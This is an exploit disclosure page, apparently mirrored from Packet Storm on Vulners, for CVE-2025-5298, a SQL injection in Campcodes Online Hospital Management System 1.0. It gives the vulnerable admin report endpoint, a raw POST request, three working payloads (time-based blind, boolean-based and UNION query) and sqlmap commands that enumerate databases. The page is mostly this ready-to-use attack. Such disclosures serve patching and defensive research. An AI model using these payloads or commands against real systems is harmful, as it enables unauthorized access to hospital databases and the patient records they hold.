Lucene search
K

šŸ“„ Campcodes Online Hospital Management System 1.0 SQL Injection

šŸ—“ļøĀ 29 May 2025Ā 00:00:00Reported byĀ Carine ConstantinoTypeĀ 
packetstorm
Ā packetstorm
šŸ”—Ā packetstorm.newsšŸ‘Ā 76Ā Views

SQL injection vulnerability in Campcodes hospital reports; fromdate is blind and todate is boolean or union via post.

Related
Code
# Exploit Title: Campcodes Online Hospital Management System 1.0 - SQL Injection
    # Google Dork: N/A
    # Exploit Author: Carine Constantino
    # Vendor Homepage: https://www.campcodes.com
    # Software Link: https://www.campcodes.com/projects/online-hospital-management-system-using-php-and-mysql/
    # Version: 1.0
    # Tested on: Linux - Ubuntu Ubuntu 23.10 
    # CVE: CVE-2025-5298
    
    # Campcodes Online Hospital Management System 1.0 is vulnerable to SQL Injection
    # The report in admin/betweendates-detailsreports.php does not validate ā€˜fromdate’ and ā€˜todate’ fields
    #  And allows the processing of SQL Injection queries of the types: 
    
    # blind time-based in the ā€˜fromdate’ field 
    # boolean-based in the ā€˜todate’ field
    # Union Query in the ā€˜todate’ field
    
    ā€˜fromdate’ field is vulnerable to SQL Injection on reports accessed on ā€œ/admin/betweendates-detailsreports.phpā€ from POST request
    
    POST /HospitalManagementSystem/hospital/hms/admin/betweendates-detailsreports.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 45
    Origin: http://127.0.0.1
    Connection: keep-alive
    Referer: http://127.0.0.1/HospitalManagementSystem/hospital/hms/admin/between-dates-reports.php
    Cookie: ajs_anonymous_id=e18be7d3-2b50-4bed-9962-5cfab989426f; PHPSESSID=hfb8j1phivvf11o2j9cd492oqe
    Upgrade-Insecure-Requests: 1
    Priority: u=0, i
    
    fromdate=&todate=&submit=
    
    =======================================|| Blind Time Based - ā€˜fromdate’ field ||==============================================
    
    SQLMap identified the following injection payload: 
    
    Parameter: fromdate (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: fromdate=2019-01-01' AND (SELECT 5962 FROM (SELECT(SLEEP(5)))danz) AND 'awPP'='awPP&todate=2025-05-28&submit=
    
    SQLMap first command to confirm the vulnerability: ā€œsqlmap -r request.txt -p fromdate --dbs --random-agent --technique=Tā€
    
    
    =======================================|| Boolean Based - ā€˜todate’ field ||==============================================
    
    ā€˜todate’ field is vulnerable to SQL Injection on reports accessed on ā€œ/admin/betweendates-detailsreports.phpā€ from POST request
    SQLMap identified the following injection payload: 
    
    Parameter: todate (POST)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: fromdate=2019-01-01&todate=2025-05-28' AND 3290=3290 AND 'yOfc'='yOfc&submit=
    
    SQLMap first command to confirm the vulnerability: ā€œsqlmap -r request.txt -p todate --dbs --random-agent --technique=Bā€
    
    =======================================|| Union Query - ā€˜todate’ field ||==============================================
    
    Another technique on ā€˜todate’ field can be exploited
    SQLMap identified the following injection payload: 
    
    Parameter: todate (POST)
        Type: UNION query
        Title: Generic UNION query (NULL) - 11 columns
        Payload: fromdate=2019-01-01&todate=2025-05-28' UNION ALL SELECT CONCAT(CONCAT('qkpxq','eLwmjRlXmPYByrACqjbUDqzOqYmBeKwQSUSMNXdM'),'qzzbq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ckvh&submit=
        
        
    SQLMap first command to confirm the vulnerability: ā€œsqlmap -r request.txt -p todate --dbs --random-agent --technique=Uā€

Data

Build on a solid foundation withĀ Vulners data

WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data

Api

Power your application withĀ Vulners API

The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access

App

Assess and manage vulnerabilities withĀ VulnersĀ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2025 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.17.3 - 9.8
CVSS 46.9
CVSS 27.5
CVSS 37.3
EPSS0.00209
SSVC
76